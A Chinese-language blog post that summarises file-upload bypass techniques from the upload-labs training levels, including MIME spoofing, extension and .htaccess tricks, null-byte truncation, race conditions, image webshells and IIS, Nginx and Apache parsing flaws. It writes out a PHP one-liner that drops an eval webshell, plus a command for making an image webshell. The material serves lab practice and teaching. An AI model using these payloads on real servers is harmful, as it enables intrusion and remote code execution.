Hed9eh0g

前进的路上总是孤独的

文件上传绕过总结

本文共计有3350个字

前言

之前upload-labs关卡挑战完成记录了write up,在此总结出上传绕过的一些思路。

前端检查

对应于Pass-01,一般为JavaScript检查,通过f12可以查看。前端检查与后台检查最明显的区别在于前端检查没有发送数据请求,也就是说这个时候我们是抓不到包的。

绕过方法:
1、浏览器开启禁用js功能,直接使检查失效。
2、先修改后缀为前端规定的合法后缀,然后通过之后再进行bp抓包改回后缀。
3、f12将检查代码删除检查功能的代码。

后台检查

content-type检查(MIME检查)

对应于pass-02,一般php代码中会出现对该变量的判断:$_FILES[‘upload_file’][‘type’] ,也即后台直接通过请求头的content-type来判断是否为合法文件。
绕过方法:直接bp抓包改请求头中的content-type的内容即可,图片类型一般改为image/png、image/jpeg、image/gif。

后缀名检查

绕过对后缀名种类的检查常规思路:
1、能否大小写混合绕过(pHp、phP、PHp)、能否在php后添加数字(php2、php3、php5…)、能否改为其他形式(pht、phtml)。这个思路能够实现的前提:Apache的httpd.conf中有如下一句:

AddType application/x-httpd-php .php .phtml .php2 .php3   //只是几个例子,其他的在此省略

意思就是Apache能够让后面出现的后缀名文件以php文件形式来解析,这就是这一步的绕过思路原理。
2、如果第一步行不通,那么考虑通过上传.htaccess文件来绕过,写入的内容格式可以为:

AddType application/x-httpd-php .jpg

可以发现写入内容与刚才提到的httpd.conf格式类似,可以容易理解为.htaccess的指令就是为Apache添加一个httpd.conf属性,接下去的原理等同于第一步。
另外一种格式为:

<FilesMatch "xxx">
  SetHandler application/x-httpd-php
</FilesMatch>

意思就是将文件名为xxx的文件解析为php文件,接下去通过上传xxx文件可以绕过对后缀名检查。
对应upload-labs的关卡:
Pass-03:仅仅是对.asp、.aspx、.php、.jsp黑名单检查,两种绕过思路都可行。
Pass-04:限制了很多后缀,但没有对 .htaccess限制,利用第二种思路即可。
Pass-05:限制了.htaccess,但没有限制大小写混合,利用第一种思路如Php即可。

利用Windows解析特点

如果上传php文件后缀名后面添加点’.’或空格或::$DATA,Windows系统会自动给删掉。也即如果上传文件格式为.php.或.php (空格)或::$DATA,上传入后台之后会被等同为一个php文件,在Unix和Linux无法成功。
Pass-06:有去除点和::$DATA的操作,添加空格可以绕过。
Pass-07:有去除空格和::$DATA的操作,添加点可以绕过。
Pass-08:有去除点和空格的操作,添加::$DATA可以绕过。

利用代码逻辑缺陷

有时虽然对后缀进行了很多去除操作(如去除末位点、去除首尾空格、去除php字眼),但是与正则表达式匹配不同,去除操作只进行一次,因此可以通过拼接来实现绕过。
Pass-09:有去末位点和去首位空格的操作,但是只进行一次该操作,所以可拼接phpinfo.php. .。经过处理将得到phpinfo.php.,即可进行绕过。
Pass-10:把php字眼替换为空,但这一步操作只进行了一次,因此我们可以故意构造一个后缀,使替换之后变成php。可以构造后缀:.pphphp。

00截断

00截断能够被利用的地方在于文件的上传路径,也即前提是能够控制上传路径,其原理是因为php相关文件函数会认为00字符是结束的标志。
一般是通过GET或POST来传值,其中GET传值由于url编码的原因一般称其为%00截断,而POST传值由于是在burpsuit中hex数据进行改包,一般称为0x00截断。两者其实是一回事。
只要控制指定路径为某个php文件,让上传的文件内容写入该php内容即可间接达到目的。例如:

upload/1.php%00

虽然结果后台处理之后,后面会自动拼接上文件后缀来干扰,但有%00即可截断后面的干扰了。
另外还要注意00截断能够实现的前提:
1、PHP 版本 < 5.3.4
2、php.ini 中 magic_quotes_gpc=off
Pass-11:通过GET传值控制路径,使用%oo截断。
Pass-12:通过POST传值控制路径,使用burpsuit的hex数据进行0x00截断。

图片马文件

图片马就是在文件内部写入shell,利用图片文件骗过后台的检查,一般还要另外结合文件包含(或者上菜刀)来实现目的。制作图片马也非常简单:
1、利用图片隐写方法:

copy 1.jpg /b + shell.php /a shell.jpg

2、在jpg文件头(FF D9)后加入shell
Pass-13:直接在jpg文件头写入shell
Pass-14:存在getimagesize()函数获取图片类型格式,用Pass-13方法即可
Pass-15:存在exif_imagetype()函数判断文件类型,用Pass-13方法即可
Pass-16:存在imagecreatefromjpeg()函数判断文件类型,用Pass-13方法即可

条件竞争

条件竞争利用的原理是:后台先让文件上传成功,然后在服务器内去判断上传的文件是否合法,如果不合法再删除,如果我们一直上传shell文件,由于后台对文件是否合法的判断是需要一定的时间的,那么存在某个时刻当shell文件上传成功后还未被删除即被执行。
其中要实现一直上传的操作需要配合burpsuite的intuder模块进行。
Pass-17:简单的条件竞争利用
Pass-18:利用条件竞争,这次由于白名单的限制,只能上传图片马
Pass-19没有什么新知识点好讲

构造数组绕过

Pass-20算是一种新类型题目吧,出现在2018网鼎杯第二场的 wafUpload,本质是代码逻辑操作缺陷导致的。具体的解决做法已经在writeup中记录。
这一关的关键在于构造数组,而且构造的数组也很有特点:数组的第二个元素为空。这样count函数计算出来的数组元素个数只为2个,方便之后对文件路径的构造。

畸形解析(文件解析漏洞)

这个漏洞也可以被用来绕过文件上传时的一些过滤。

IIS 6.0存在的三种漏洞

1、在网站下建立文件夹的名字为.asp、.asa文件夹,其目录内的任何扩展名文件都会被IIS当做asp文件来解析。例如访问/xx.asp/xx.jpg,其中的xx.jpg将会被当做asp文件来解析。
2、分号后面的内容将会被忽略,不被解析。例如文件名为xxx.asp;.jpg,IIS不会认为这是一张名为xxx.asp;的jpg格式文件,而是把它当做xxx.asp文件来解析。
3、IIS默认的可执行文件除了asp文件还包含这三种:/sp.asa、/sp.cer、/sp.cdx。

IIS 7.0/7.5存在的漏洞

在默认Fast-CGI开启的状况下,如果在xxx.jpg中写入内容:

<?php  fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问xxx.jpg/.php,在这个目录下就会生成一句话木马shell.php。

Nginx<8.03存在的两种漏洞

1、与IIS7.0/7.5相同
2、空字节代码执行漏洞:在jpg格式图片中嵌入php代码然后通过访问xxx.jpg%00.php即可执行其中的php代码。

Apache解析漏洞

Apache是从右到左开始判断解析,如果为不可解析那就再往左判断。
比如文件xxx.php.owf.rar,Apache是无法解析owf和rar的,因此最终会把该文件解析为php文件。

参考文章

1、Upload-labs&Upload Bypass Summarize
2、解析漏洞总结

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注